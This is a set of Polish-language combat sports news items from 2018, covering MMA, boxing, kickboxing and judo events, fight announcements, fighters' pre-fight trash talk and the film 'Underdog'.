– Poznań jest kolejnym miastem, które będzie gospodarzem naszej edycji. Czuję się zaszczycony, że zawitamy do stolicy Wielkopolski, bo ten region ma ogromne tradycje jeżeli chodzi o mieszane sztuki walki. Cieszę się, że wraz z władzami miasta patrzymy w tym samym kierunku i chcemy stworzyć naprawdę kapitalne widowisko, które na zawsze zostanie w pamięci wszystkich kibiców MMA w naszym kraju – powiedział Paweł Jóźwiak, prezes FEN.

Szczegóły konferencji prasowej:

Gdzie:  Fabryka Formy – Centrum Fitness, Budynek „Poznań Bałtyk”, ulica Roosvelta 22 w Poznaniu

Kiedy: 14 września 2018 roku

O której: Początek konferencji o godzinie 15

Tematyka: Gala FEN 22 – ogłoszenie dwóch nowych zawodników FEN, w tym bohatera walki wieczoru

Gala FEN 22 odbędzie się 20 października w hali UAM w Poznaniu.

Karta walk FEN 22:

  • TBA VS TBA
  • Radosław Paczuski VS TBA-85 kg K-1*
  • Mateusz Rębecki VS Łukasz Kopera -70 kg*
  • Bartosz Leśko VS Tomasz Kondraciuk -84 kg
  • Kamil Gniadek VS Jacek Jędraszczyk -77 kg
  • Kamil Łebkowski VS TBA -66 kg
  • TBA VS TBA
  • TBA VS TBA
  • TBA VS TBA

Bilety na galę FEN 22 w serwisie Eventim.pl można nabyć TUTAJ.

Martin na drodze Kownackiego

Adam Kownacki nie ukrywa swoich ambicji. 8 września popularny "Babyface" zmierzy się w Barclays Center z byłym mistrzem świata IBF Charlesem Martinem. Kownacki ma świadomość, że czeka go najważniejsza walka w karierze.

29-latek zmierzy się z Charlesem Martinem, którego wielu nazywa przypadkowym mistrzem świata. Warto przypomnieć, że Amerykanin tytuł zdobył w starciu z Wiaczesławem Głazkovem w dość nietypowych okolicznościach. W styczniu 2016 roku w Barclays Center pięściarze rywalizowali o pas IBF. Głazkov miał pecha. W trzeciej rundzie poślizgnął się i skręcił kolano. Mimo bólu próbował walczyć, ale kolejny upadek sprawił, że Ukrainiec zrezygnował z dalszej rywalizacji. Martin wygrał wobec kontuzji rywala, a tytuł stracił już w kolejnej walce, kiedy to na jego drodze stanął Anthony Joshua.

Z pewnością Amerykanin jest bardziej rozpoznawalny, ale obserwatorzy podkreślają, że poza Głazkovem i Joshuą nie miał większych wyzwań w karierze. Zatem jest do ugryzienia przez Kownackiego. Zwłaszcza, że Polak ma mocny cios i jest żywiołowy. Kownacki rusza do przodu, nie kalkuluje, co sprawia, że jego walki ogląda się z ogromnym zainteresowaniem. O atutach 29-latka można mówić wiele, ale nie brakuje spostrzeżeń na temat jego sylwetki. Kownacki nie ma figury atlety, jednak nie stanowi to dla niego problemu. W dotychczasowych 17 walkach nikt nie był w stanie go pokonać, a Polak aż 14 razy wygrał przed czasem.

Charles Martin jest o 5 cm wyższy od Polaka i ma większy zasięg ramion. Amerykanin wygrał 25 walk, z których 23 przed czasem. Ostatnio mierzył się z Byronem Polley'em i Michaelem Marrone. Warto podkreślić, że z tym rywalizował w lipcu 2017 roku. Martin wraca po ponad rocznej przerwie, więc jego forma jest zagadką.

Kownacki pokonując Artura Szpilkę stał się polską nadzieją wagi ciężkiej. 29-latek stanie przed największą szansą w karierze. Martin nie ułatwi mu zadania, ponieważ również cały czas po głowie chodzą mu myśli o tytule mistrzowskim. Jednak Kownacki ma cel, którym jest szczyt wagi ciężkiej. Martin uchodzi za faworyta, ale gorące polskie serce gotowe do walki może pokrzyżować mu plany. 8 września w Barclays Center będzie ciekawie.

Fot. Adam Kownacki Facebook

KM

Mistrzowska szansa Strusa

Chciałoby się powiedzieć, że w końcu. 8 września na gali ACB 89 w Krasnodarze Piotr Strus stanie przed szansą na wywalczenie mistrzowskiego pasa w kategorii średniej. Jego rywalem będzie Albert Duraev.

Dobre występy 30-letniego zawodnika z Warszawy sprawiły, że stał się kandydatem do pasa w kategorii średniej. Wszystko było już dopięte na ostatni guzik, strony się porozumiały, a termin został wyznaczony. Tylko jak lawina pojawiały się informacje o odwołanych galach ACB. Do skutku nie doszły wydarzenia w Londynie i Malmo. Jak zwykło się mawiać, "co się odwlecze, to nie uciecze". 8 września Piotr Strus stanie "oko w oko" w mistrzem kategorii średniej Albertem Duraevem w Krasnodarze.

Piotr Strus zapracował na walkę o pas mistrzowski czterema zwycięstwami oraz… nierozstrzygniętym starciem. Warto wrócić do sytuacji z werdyktem po pojedynku Polaka z Mikhailem Kolobegovem. Sędziowie wskazali na Rosjanina, jednak Strus nie był zadowolony z decyzji oceniających i złożył odwołanie. Ostatecznie werdykt zmieniono na no contest. Kolejne trzy walki to pokaz umiejętności Polaka, który przed czasem pokonał Andy'ego DeVenta oraz Nikolę Dipchikova. W maju Strus uporał się z Fernando Gonzalezem, czym utorował sobie drogę do starcia o pas mistrzowski.

W Krasnodarze na 30-latka będzie czekał Albert Duraev, który pas zdobył w grudniu 2017 roku pokonując Vyacheslava Vasilevsky'ego. Rosjanin w ekspresowym tempie uporał się z rywalem. Warto dodać, że Duraev był również posiadaczem pasa w kategorii do 77kg. Rosjanin może pochwalić się imponującą serią siedmiu zwycięstw z rzędu, w tym aż sześciu przed czasem.

Strus prezentuje się znakomicie w ACB i wygrana z Duraevem byłaby swego rodzaju „wisienką na torcie”. W Krasnodarze zobaczymy również Daniela Omielańczuka. Dla 36-latka, który ma za sobą przygodę z UFC będzie to drugi występ w ACB. W debiucie Polak efektownie uporał się z Bobby'm Brentsem. Najbliższym rywalem Omielańczuka będzie Irańczyk Amir Aliakbari, który ma serię trzech zwycięstw z rzędu. W marcu na ACB 83 pokonał Denisa Smoldareva.

W Krasnodarze dojdzie również o starcia o pas kategorii półśredniej pomiędzy Ciro Rodriguesem a Albertem Tumenovem. Tytuły w wadze lekkiej będzie bronił Adbul-Aziz Abdulvakhabov, który zmierzy się z Alim Bagovem.

Fot. Piotr Strus Facebook

KM         

DSF 17: Jenel vs Ruta 2. Noc rewanżów, kto naprawdę jest najlepszy?

Ich pierwsze starcie było najlepszą walką 2017 roku. Teraz dojdzie do wielkiego rewanżu. 29 września w pojedynku wieczoru gali DSF 17 w Częstochowie Kamil Jenel po raz drugi zmierzy się z Kamilem Rutą. Zwycięzca zejdzie z ringu z mistrzowskim pasem federacji DSF Kickboxing Challenge oraz mianem króla K-1 w kategorii do 81 kg.

Bez cienia wątpliwości panujący czempion Kamil Jenel (26-5) i pretendent do pasa a zarazem były mistrz Kamil Ruta (12-1) to dwaj najlepsi zawodnicy K-1 w kategorii do 81 kilogramów w Polsce. 29 września 2017 roku na gali DSF Eliminator w Ząbkach stoczyli pasjonującą pięciorundową bitwę, po której tytuł mistrzowski zmienił właściciela, a Ruta zanotował pierwszą porażkę w karierze. Dokładnie 365 dni później dojdzie do wielkiego rewanżu.

Na ten moment czekałem cały rok. Nadchodzi czas zemsty – zapowiada 25-letni Ruta, amatorski mistrz Europy i świata. – To był dla mnie okres ogromnych zmian, opracowałem nowy tryb przygotowań. Byłem silny, a teraz jestem potężny. Nie chcę tylko wygrać, chcę go upokorzyć!

""

Od czasu pierwszej walki Ruta zmienił klub i narożnik. Już jako zawodnik Copacabana Warszawa Kamil odniósł dwa pewne zwycięstwa. W grudniu znokautował w 1. rundzie Dawida Mirkowskiego na gali DSF 12, a w kwietniu na DSF 14 po znakomitym widowisku pokonał na punkty wielokrotnego mistrza świata Yohana Lidona z Francji, zapewniając sobie rewanż z Jenelem.

Obecny posiadacz pasa DSF Kickboxing Challenge nie widzi żadnego zagrożenia w drugiej walce z Rutą. Popularny na Śląsku Jenel zamierza ponownie rozbić młodszego rywala i przedłużyć najlepszą w karierze passę zwycięstw do trzynastu.

Przed pierwszą walką Ruta opowiadał, że jest w życiowej formie, teraz mówi to samo – zauważa podopieczny trenera Witolda Kostki z klubu Paco Katowice. – Spotka go jeszcze gorsza klęska niż wtedy. Chłopcy dużo szczekają, ale mężczyzn poznaje się po czynach.

Pierwsza walka od razu została okrzyknięta przez media i kibiców najlepszym pojedynkiem K-1 2017 roku. Można ją zobaczyć w całości na YouTube. Teraz obaj zawodnicy podwyższają poprzeczkę i chcą postarać się o nokaut roku.

Szkoda tylko, że ta walka nie odbywa się na jego podwórku, ale Częstochowa to też Śląsk. Niech przywiezie jak najwięcej swoich kibiców i niech z bliska oglądają jego klęskę. Nie boję się go. Zakończę jego karierę i wróci kopać węgiel w kopalni, a prawowity król powróci na tron! – zapewnia Kamil Ruta.

""

Jenel w swoim stylu wyśmiewa wojownicze zapowiedzi pretendenta. Jego zdaniem Ruta przestraszył się przed pierwszą walką i podobny respekt poczuje również w rewanżu.

Poprzednim razem widziałem strach w jego oczach i myślę, że ten ostatni rok nie zrobił z niego mężczyzny. Między nami jest znacząca różnica. Ja jestem zawodowcem, a on pozostał amatorem. 29 września ziemia w Częstochowie się zatrzęsie. Powiedziałem, że trafi na OIOM. Podtrzymuję to, ale po walce wybiorę się z ekipą na Jasną Górę i pomodlę się o jego powrót do zdrowia – kończy pewny siebie mistrz federacji DSF.

Na gali DSF 17 w Częstochowie dojdzie także do rewanżowego meczu międzynarodowego Polska-Czechy. Poprzednie spotkanie zakończyło się zwycięstwem naszych południowych sąsiadów 3:2, dlatego tym razem biało-czerwoni wystawiają do walki mistrzowski skład: Mateusz „Rzeźnik” Rajewski (65 kg), Patryk Radoń (71 kg), Adam „Polish Psycho” Gielata (71 kg), Paweł Biszczak (75 kg) i Dawid „Mirko” Mirkowski (81 kg).

To jeszcze nie koniec wielkich emocji! W swoim trzecim występie dla federacji DSF o pas mistrzyni w kategorii do 65 kilogramów powalczy nowa królowa polskiego kickboxingu Róża Gumienna, która zmierzy się ze znakomitą Cristiną Caruso. Będzie to rewanż za wygrany przez Włoszkę dramatyczny finał mistrzostw Europy K-1 z 2016 roku.

Bilety na galę DSF 17: Jenel-Ruta 2 są dostępne w sprzedaży na DSFTicket.com w cenie od 30 PLN. Impreza odbędzie się 29 września w Hali Polonia w Częstochowie. Początek o godzinie 18:30 (otwarcie bramek o 18:00).

Full fight: Kamil RUTA vs Kamil JENEL | DSF Eliminator

DSF Eliminator (29.09, Ząbki), walka wieczoru: Kamil Ruta kontra Kamil Jenel. Co to była za wojna! Mistrzowskich pięć rund. Emocje od pierwszego do ostatniego gongu. Tu nikt nie kalkulował, cios za cios bez wytchnienia, by zdobyć lub obronić pas DSF Kickboxing Challenge w kategorii – 81 kg. Najlepsza reklama kickboxingu spod szyldu DSF Kickboxing Challenge!

[kod]

Wygrana przepustką do walki o pas

8 września w Dallas na UFC 228 Karolina Kowalkiewicz zmierzy się z Jessicą Andrade. Zwyciężczyni pojedynku prawdopodobnie dostanie szansę rywalizacji o pas mistrzowski kategorii słomkowej.

32-letnia zawodniczka urodzona w Łodzi ma w końcu szansę wyjść z cienia Joanny Jędrzejczyk. Do niedawna "JJ" była gwiazdą pierwszego planu. W marcu 2015 roku zdobyła tytuł mistrzyni UFC i pięciokrotnie skutecznie go broniła. Pas próbowała odebrać jej Kowalkiewicz, jednak przegrała decyzją sędziów. Jędrzejczyk straciła tytuł w lipcu 2017 roku na rzecz Rose Namajunas. Z Amerykanką walczyła również Kowalkiewicz, jednak starcie miało miejsce w lipcu 2016 roku w Atlancie. Jedynie w pierwszych minutach zawodniczki bacznie się obserwowały, a później ich aktywność wzrosła i prezentowały liczne ciosy oraz sprowadzenia. Ostatecznie niejednogłośną decyzją sędziów wygrała Polka. Czy Kowalkiewicz ponownie dostanie szansę walki z Namajunas? Wszystko zależy od zbliżającego się pojedynku z Jessicą Andrade na UFC 228.

W Dallas spotkają się czołowe zawodniczki kategorii słomkowej. Brazylijka zajmuje 2. miejsce w rankingu UFC, zaś Polka sklasyfikowana jest dwie pozycje niżej. O tym starciu mówiło się od dłuższego czasu, jednak od "słów do czynów" nie zawsze krótka droga. Jedna i druga twierdziły, że rywalka nie chce wejść do oktagonu, a przyczyną jest… strach. W końcu w lipcu starcie Kowalkiewicz z Andrade dodano do karty walk UFC 228.

Andrade może pochwalić się większym doświadczeniem w amerykańskiej organizacji niż Kowalkiewicz, jednak na szansę walki o pas musiała czekać dłużej niż Polka. Brazylijka również poległa w starciu z Joanną Jędrzejczyk. Po porażce z Polką zanotowała dwie wygrane – z Claudią Gadelhą i Tecią Torres. Podobnie Kowalkiewicz, która pokonała Jodie Esquibel i Felice Herrig. W przypadku łodzianki należy mówić o świetnej kondycji i wytrzymałości. Dotychczas w UFC stoczyła siedem pojedynków i aż sześć toczyła na pełnym dystansie (w tym przegrany z Jędrzejczyk). Andrade jest groźna i niezwykle silna, a przy tym wytrzymała. Brazylijka potrafi zmusić rywalkę do poddania, ale nie sprawia jej problemu zmęczenie przeciwniczki na pełnym dystansie.

Kowalkiewcz stanie przed trudnym wyzwaniem. Jeśli wygra, wykona ważny krok w kierunku walki o pas. Namajunas ma już na rozkładzie, a więc może jeszcze kiedyś zobaczymy dwie Polki w walce o tytuł?

W pojedynku wieczoru gali UFC 228 w Dallas Tyron Woodley będzie bronił pasa wagi półśredniej spotka się z niepokonanym Darren'em Till'em.

Fot. Karolina Kowalkiewicz Facebook

KM

Polacy poznali rywali w WBSS

W drugiej edycji turnieju World Boxing Super Series w wadze junior ciężkiej zobaczymy Krzysztofa Głowackiego i Mateusza Masternaka. Były mistrz świata zmierzy się z Maksimem Własowem, z kolei "Master" stanie do rywalizacji z Yunierem Dorticosem.

Triumfatorem tegorocznej edycji w wadze junior ciężkiej został Oleksandr Usyk, który na Stadionie Olimpijskim w Moskwie pokonał Murata Gassijewa. Tym samym Ukrainiec stał się posiadaczem czterech pasów mistrzowskich – IBF, WBA, WBC i WBO. W turnieju zaprezentował się również Krzysztof Włodarczyk. "Diablo" pożegnał się z rywalizacją w ćwierćfinale przegrywając z Gassijewem.

W drugiej edycji WBSS zmagania będą toczyły się w trzech kategoriach wagowych – koguciej, junior półśredniej i junior ciężkiej. W tej ostatniej zobaczymy Krzysztofa Głowackiego i Mateusza Masternaka. 32-latek z Wałcza stoczył w tym roku dwie walki. W lutym na punkty pokonał Siergieja Radczenkę, zaś w maju w pierwszej rundzie znokautował Santandera Silgado. Ćwierćfinałowym rywalem Głowackiego będzie Maksim Własow, który ma na koncie 42 wygrane pojedynki. Na znacznie trudniejszego rywala trafił Mateusz Masternak. Posiadacz pasa WBO European zmierzy się z Yunierem Dorticosem, który w pierwszej edycji turnieju dotarł do półfinału, gdzie z 12. rundzie został znokautowany przez Gassijewa i stracił tytuł WBA. W ćwierćfinale Kubańczyk ekspresowo rozprawił się z Dmitrijem Kudriaszowem.

Ponownie w WBSS wystąpi Mairis Briedis, który w tym roku dotarł do półfinału. W Rydze musiał uznać wyższość Oleksandra Usyka. Tym razem rywalizację w WBSS Łotysz rozpocznie od starcia z Noelem Mikaelianem. Z kolei w ostatnim ćwierćfinale spotkają się Andrew Tabiti i Rusłan Fajfer.

W wadze koguciej Ryan Burnett będzie bronił pasa WBA w starciu z Filipińczykiem Nonito Donaire. O tytuł WBO powalczą Zolani Tete i Michaił Alojan. Dla południowoafrykańskiego boksera będzie to trzecia obrona pasa. Emmanuel Rodriguez w pojedynku z Jasonem Moloney'em na szali położył tytuł IBF. Ostatnią parę ćwierćfinałową tworzą Naoya Inoue i Juan Carlos Payano.

Z kolei w kategorii junior półśredniej emocjonująco zapowiada się pojedynek Iwana Baranczyka i Anthony'ego Yigita o wakujący tytuł federacji IBF. Pasa WBA będzie bronił Kiryl Relich, który spotka się z Eduardem Trojanowskim. Pozostałe pary tworzą Josh Taylor i Ryan Martin oraz Regis Prograis i Terry Flanagan.

Fot. Krzysztof Głowacki Facebook

KM

DSF 17 w Częstochowie. Mistrzowskie armaty Polaków na rewanż z Czechami!

29 września na gali DSF Kickboxing Challenge 17 w Hali Polonia odbędzie się rewanżowy mecz międzynarodowy w K-1 Polska-Czechy. W lutym w Hali Orbita we Wrocławiu nasi południowi sąsiedzi po zaciętej walce zwyciężyli 3:2. Teraz biało-czerwoni wystawią prawdziwie mistrzowski skład, by wyrównać rachunki w Częstochowie!

Międzynarodowe mecze K-1 stały się już tradycją na numerowanych galach federacji DSF Kickboxing Challenge. Prezes Sławomir Duba oraz dyrektor sportowy Robert Złotkowski dokładają wszelkich starań, by ściągać do Polski najlepszych kickbokserów z całej Europy i świata. Biało-czerwonych barw również bronią najlepsi z najlepszych. Lutowy mecz Polska-Czechy okazał się takim szlagierem, że rewanż był tylko kwestią czasu. Jakim wynikiem zakończy się bitwa o Częstochowę?

Jako pierwszy z Polaków do ringu wyjdzie wicemistrz świata amatorów i wielokrotny mistrz kraju Mateusz Rajewski (65 kg), który w ostatnim występie zadał pierwszą porażkę Wojciechowi Kazieczko. W następnym pojedynku wystąpi zdobywca Pucharu Świata i Europy w K-1 Patryk Radoń (71 kg). W trzeciej walce pokaże się pewnie zmierzający w stronę mistrzowskiego pasa federacji DSF Adam Gielata (71 kg) – mistrz świata K-1 z 2017 roku. Po nim swoją walkę stoczy znakomity weteran Paweł Biszczak (75 kg), a w piątym pojedynku do ringu wyjdzie niezawodny Dawid „Mirko” Mirkowski (81 kg).

""

Po rewanżowym meczu Polska-Czechy czekają nas już tylko trzy walki mistrzowskie. W pierwszej z nich częstochowianin Norbert „Azja” Anzorge powalczy o pas mistrza Polski PZKB w kategorii do 91 kilogramów. W kolejnym pojedynku nowa królowa polskiego kickboxingu Róża Gumienna stanie do walki o pas mistrzyni DSF w wadze do 65 kg.

Pojedynkiem wieczoru będzie wyczekiwane przez kibiców rewanżowe starcie śląskiego mistrza kategorii do 81 kg Kamila Jenela (26-5) z warszawiakiem Kamilem Rutą (12-1). Ich pierwsza batalia odbyła się dokładnie przed rokiem w Ząbkach na gali DSF Eliminator. Dość nieoczekiwanie Jenel zdetronizował niepokonanego wcześniej czempiona, wygrywając jednogłośnie na punkty po pięciorundowej wojnie. Walka została okrzyknięta najlepszą w 2017 roku.

Od czasu pierwszego spotkania w ringu zdeterminowany Ruta zwyciężał dwukrotnie – w grudniu na gali DSF 12 efektownie znokautował w 1. rundzie Dawida Mirkowskiego, a w kwietniu podczas DSF 14 pokonał legendę kickboxingu i Muay Thai – wielokrotnego mistrza świata Yohana Lidona. Jenel również ma znakomitą passę – w trzech ostatnich występach wygrywał z Eduardem Mirceą (DSF 12 – pierwsza obrona tytułu), Aleksandrem Żakarowem (DSF 14 – walka w meczu Polska-Rosja) i Eduardem Aleksanyanem (DSF 16 – druga obrona), za każdym razem prezentując swoje firmowe „śląskie tąpnięcie”.

Kamil Jenel jest dumnym mistrzem i wielkim wojownikiem, nigdy nie odmawia i nie unika żadnych wyzwań. Kamil Ruta tuż po porażce powiedział nam, że zrobi wszystko, by zasłużyć na ten rewanż i jest gotowy jechać na teren mistrza, by odzyskać swój pas. Wygrał w dobrym stylu dwie walki i dostanie upragnioną szansę. Obaj są godni miana mistrza, ale tylko jeden z nich zejdzie z ringu z pasem – dodaje Robert Złotkowski, dyrektor sportowy federacji DSF.

Bilety na galę DSF 17 są dostępne w cenie od 30 PLN w serwisie DSFTicket.com. Transmisja na żywo z gali odbędzie się w telewizji Canal+ Sport.

Szykuje się druga edycja Narodowej Gali Boksu

W kwietniu 2019 roku odbędzie się druga edycja Narodowej Gali Boksu. Niebawem zaprezentowane zostaną nazwiska pięściarzy, którzy wejdą do ringu.

Pierwsza edycja imprezy odbyła się w maju na stadionie PGE Narodowy w Warszawie. Oprócz boksu, podczas gali odbyły się pojedynki na zasadach K-1 i MMA. Na stadionie PGE Narodowy zaprezentowali się m.in. Ewa Piątkowska, Artur Szpilka, Izu Ugonoh, Marcin Najman, Rafał Jackiewicz, Piotr Hallman czy Tomasz Sarara. Smaku dodawał fakt, że konferansjerem Narodowej Gali Boksu był Michael Buffer.

Część walk budziła ogromne emocje i wyglądała interesująco. Tak jak starcie Rafała Jackiewicza z Robertem Świerzbińskim czy Norberta Dąbrowskiego i Roberta Talarka. Po blisko rocznej przerwie udany powrót zaliczył Artur Szpilka, który pokonał Dominicka Guinna. Ale nie brakowało też… dziwnych i niespodziewanych momentów. Po dwóch rundach Fred Kassi odmówił dalszej walki z Ugonohem z powodu bólu głowy. Słabo wypadł również Marcin Najman, który był zawodnikiem i organizatorem. W czwartej rundzie sędzia przerwał walkę ze względu na kontuzję Polaka. Gala spotkała się z falą krytyki. Marcin Najman zebrał wiele cierpkich słów odnośnie poziomu sportowego, frekwencji, przygotowania imprezy. Organizator odniósł się do krytyki. – Na trybunach zasiadło dokładnie 17894 osób. A to oznacza, że jest to drugi w historii wynik oglądalności boksu zawodowego w Polsce. Była to pierwsza Narodowa Gala Boksu. Wiele musimy poprawić. Ale już dziś zapowiadam Wam, że otwieramy Fundację im. Jerzego Kuleja, która będzie wspierała Polski Boks Narodowy oraz coroczny projekt Narodowa Gala Boksu – prezentował Najman po majowej gali.

Jak powiedział, tak też ma zamiar zrobić. Marcin Najman zapowiada kolejną edycję Narodowej Gali Boksu. – W kwietniu kolejna Narodowa Gala Boksu organizowana przez ND Promotion. Pierwsze nazwiska przedstawimy podczas konferencji prasowej, która już we wrześniu –poinformował za pośrednictwem Facebooka. Najman zapewnił również, że anonserem ringowym pozostanie Michael Buffer.

Zebrane doświadczenia mogą być cennym materiałem do pracy nad kolejną odsłoną Narodowej Gali Boksu. Marcin Najman chce kontynuować swój projekt i udoskonalać go. W kwietniu będzie można obiektywnie ocenić, czy organizator wyciągnął właściwe wnioski z pierwszego podejścia.

Fot. Marcin Najman Facebook

KM

Smith rywalem Szostaka w Londynie

Akop Szostak szykuje się do debiutu w federacji KSW. Na gali w Londynie, która odbędzie się 6 października rywalem Polaka będzie John Smith.

30-letni Szostak będzie chciał zanotować czwartą wygraną w MMA. Zawodnik po raz ostatni zaprezentował się w kwietniu na gali WCA 4 – Fight Night, podczas której zmierzył się z Wojciechem Balejko. Szostak po półtorarocznej przerwie udanie powrócił do MMA i wygrał w drugiej rundzie. Wcześniej zawodnik urodzony na Białorusi rywalizował na galach organizacji FEN, jednak ze zmiennym szczęściem. Z trzech walk wygrał tylko jedną. Na początku czerwca Szostak podpisał umowę z KSW. – Było to moje marzenie – podkreślał zawodnik. Szostak zapewnia, że jest zmotywowany przed debiutem w KSW. 6 października w Londynie zmierzy się z Johnem Smithem. – Mistrzem stójki nigdy nie będę… genetyki nie oszukam, ale serca na walce mi nie zabraknie! – napisał Szostak na Facebooku.

Rywal 30-latka na KSW 45: The Return to Wembley jest związany ze sportami walki od ośmiu lat. Smith może pochwalić się tytułem mistrza wagi ciężkiej The United Kingdom Boxing Union w Londynie. W MMA zadebiutował rok temu i dotychczas stoczył trzy pojedynki, które zakończyły się po jego myśli. John Smith jest niezwykle niebezpieczny i do bólu skuteczny. Do pokonania trzech rywali potrzebował niespełna 2,5 minuty.

Co czeka nas w Londynie?

Głównym wydarzeniem październikowej gali KSW będzie starcie o pas mistrzowski w wadze ciężkiej. W pierwszej obronie Philip De Fries zmierzy się z byłym czempionem Karolem Bedorfem. 32-letni Anglik w debiucie w KSW pokonał w pierwszej rundzie Michała Andryszaka. Z kolei Bedorf ostatnio pokonał Mariusza Pudzianowskiego.

Interesująco zapowiada się turniej wagi średniej. Zwycięzcy zmierzą się o pas, który zwakował Mamed Khalidov. Były mistrz Michała Materla spotka się z niezwykle groźnym Damianem Janikowskim. Z kolei mocny Scott Askham podejmie mającego na koncie cztery zwycięstwa w KSW Marcin Wójcika.

Gorąco będzie również w kategorii półśredniej, gdzie dojdzie do rewanżowego starcia Dricusa du Plesissa z Roberto Solidiciem. 24-latek z Pretorii na KSW odebrał pas mistrzowski Chorwatowi.

Fot. Akop Szostak Facebook

KM

Wróżenie z fusów

Choć dopiero planowany, już rozbudza wyobraźnię i jest głównym tematem dyskusji wśród bokserskich ekspertów. Pojedynek mistrza świata WBC Deontaya Wildera i Tysona Fury'ego ma być wielkim wydarzeniem. Prawdopodobnie walka odbędzie się w listopadzie bądź w grudniu, ale zewsząd słychać przewidywania. Eksperci bawią się we wróżki, a wszystko i tak zweryfikuje ring.

Wiadomo, że opinie i analizy są niezwykle istotne. Na ich podstawie można wysnuć właściwe wnioski i odpowiednio przygotować się do wyzwania, w tym wypadku walki. Wiadomo, że walka Wildera z Fury’m będzie hitem. Bez dwóch zdań. Z pewnością sportowym, ponieważ obaj są niepokonani na zawodowym ringu i niejednokrotnie pokazali klasę. Ktoś może powiedzieć o niedawnych problemach olbrzyma z Wilmslow i jego powolnym powrocie do formy, jednak zapach pasa mistrza świata i pojedynek, który sobie wymarzył może być największą z możliwych mobilizacją do sięgnięcia wyżyn. Wiadomo, że Wilder jest mocny i skuteczny. Zapewne liczył na starcie z Joshuą, jednak ten zmierzy się we wrześniu z Aleksandrem Powietkinem. Z kolei Wilder walczył w marcu i pokonał Luisa Ortiza. Jesienią chciałby stoczyć kolejny pojedynek i na horyzoncie pojawia się Fury. Panowie spojrzeli sobie w oczy po zwycięstwie Brytyjczyka w starciu z Francesco Pianetą.

Walka ma zostać ogłoszona lada dzień. Na obecną chwilę faworytem wydaje się Wilder, który posiada pas i rozbija kolejnych rywali. Fury wraca do formy po dłuższej przerwie. Co prawda wygrał dwie walki, ale nie porwał publiczności. W pogromcę Władimira Kliczko wierzy Lennox Lewis. – Fury zaskoczył mnie w przeszłości. Nie myślałem, że poradzi sobie z Kliczko, ale dał radę – powiedział były mistrz świata w wadze ciężkiej. – Niektórzy potrafią stanąć na wysokości zadania i on kimś takim jest – dodał.

Lewis nie jest odosobniony w swojej opinii. Również Ricky Hatton wysoko ocenia możliwości Fury'ego. – Wilder wygrywa nokautując rywali, ale to Tyson wykorzystuje ich błędy. Fantastyczne zestawienie stylów. Według mnie na punkty wygra Fury – przewiduje były mistrz świata IBF w kategorii lekkopółśredniej.

Pewny swego, jak zawsze, jest Fury. Jego zdaniem Wilder pokonywał rywali, których umiejętności nie były najwyższe bądź mieli słuszny wiek (Ortiz). – Przejmiemy Las Vegas. Wrócę z pasami – zapowiada Fury.

Warto również wspomnieć o kwestii finansowej. Deontay Wilder zgodził się na równy podział zysków z walki.

Fot. Deontay Wilder Facebook

KM

Mamed Khalidov i Eryk Lubos zmierzą się w "Underdogu"

„Underdog” to historia inspirowana prawdziwymi wydarzeniami. Na ich podstawie powstał scenariusz autorstwa Mariusza Kuczewskiego. Borys „Kosa” Kosiński (Eryk Lubos) to zawodnik MMA, który jest u szczytu formy. W najważniejszej walce ze swoim największym rywalem Denim Takaevem (Mamed Khalidov) popełnia błąd, który przekreśla jego karierę. Traci wszystko. 

„Underdog” to opowieść o słabościach i sile człowieka, zwątpieniu, które pokonuje rodząca się miłość, o walce z przeciwnościami losu i podniesieniu po upadku, poświęceniu, rodzinie i przyjaźni. MMA, czyli mieszane sztuki walki, to sport, który budzi ogromne emocje. Zawodnicy walczą w klatkach i używają każdej dozwolonej techniki, by pokonać przeciwnika. „Underdog” to pełnokrwisty obraz kulis sportowego świata oczami zawodnika. 

W fabule oprócz Eryka Lubosa i Mameda Khalidova pojawi się gwiazdorska obsada: Aleksandra Popławska, Tomasz Włosok, Janusz Chabior, Jarosław Boberek, Emma Giegżno, Mariusz Drężek. Dla Mameda Khalidova, międzynarodowego mistrza KSW w wadze półciężkiej z 2009 oraz w wadze średniej z 2015, występ w filmie to debiut aktorski. 

Partnerem i konsultantem produkcji jest Federacja KSW, lider europejskiego rynku MMA. Na swoim koncie ma 50 gal na światowym poziomie, ponad 300 zawodników i milionowe oglądalności transmisji telewizyjnych w Polsce i na świecie.  

„UNDERDOG” – PREMIERA W STYCZNIU 2019 ROKU 

W rolach głównych: Eryk Lubos, Mamed Khalidov, Aleksandra Popławska, Tomasz Włosok, Janusz Chabior, Emma Giegżno 
REŻYSERIA: Maciej Kawulski, Konrad Niewolski
ZDJĘCIA: Bartosz Cierlica
PRODUCENT: Ewa Lewandowska, Tomasz Mandes – EKIPA Sp. z o.o. 
KOPRODUCENT: NEXT FILM.
DYSTRYBUTOR: NEXT FILM
PARTNER: MIASTO EŁK

Źródło: kswmma.com
Foto: Facebook Mamed Khalidov

Złoto raz, trzy o krok od sukcesu

Rywalizacja European Open w judo w Mińsku zakończona. Sukces odniosła Julia Kowalczyk (57kg), która zdobyła złoty medal. Tuż za podium Arleta Podolak (57kg), Urszula Hofman (78kg) i Anna Załęczna (+78kg).

Mińsk będzie miłym wspomnieniem dla Julii Kowalczyk. To pierwszy triumf judoczki Polonii Rybnik w międzynarodowych zawodach. Rywalizacją w Mińsku Polka rozpoczęła od wygranej z Myriam Blavier. Następnie Kowalczyk odprawiła Holenderkę Dewy Karthaus, a w półfinale spotkała się z drugą zawodniczką tegorocznego Pucharu Europy juniorów w Gdyni Ulyaną Minenkovą. 20-letnia Polka w mgnieniu oka uporała się z Białorusinką i awansowała do finału. O złoto rywalizowała z Belgijką Miną Libeer, z którą przegrała w półfinale Pucharu Europy w Saarbrucken. Tym razem lepsza okazała się Kowalczyk. To drugie podium Polki w tym roku. W lipcu wywalczyła brąz w Saarbrucken.

Po triumfie w Warszawie na kolejny sukces liczyła Arleta Podolak. Początek zawodów w Mińsku w wykonaniu Polki był znakomity. Dwie wygrane walki dawały nadzieję na sukces, jednak Podolak zatrzymała Niemka Pauline Starke. Polka poradziła sobie w repasażach, ale w starciu o brąz triumfowała Ulyana Minenkova.

Urszula Hofman była o krok, aby po raz trzeci w tym roku stanąć na podium, a dokładniej na jego… trzecim stopniu. 23-latka zdobywała medale w Limie i Buenos Aires. W Mińsku wygrała dwie walki, po drodze przegrała z Larissą Groenwold i stanęła do starcia o brąz, jednak lepsza okazała sie Omri Kenyon.

Również Anna Załęczna była blisko podium. W tym roku Polka wygrała zawody w Belgradzie i była trzecia w Madrycie. W Mińsku na jej drodze stanęła Vasylyna Kyrychenko i to Ukraina cieszyła się z brązowego medalu.

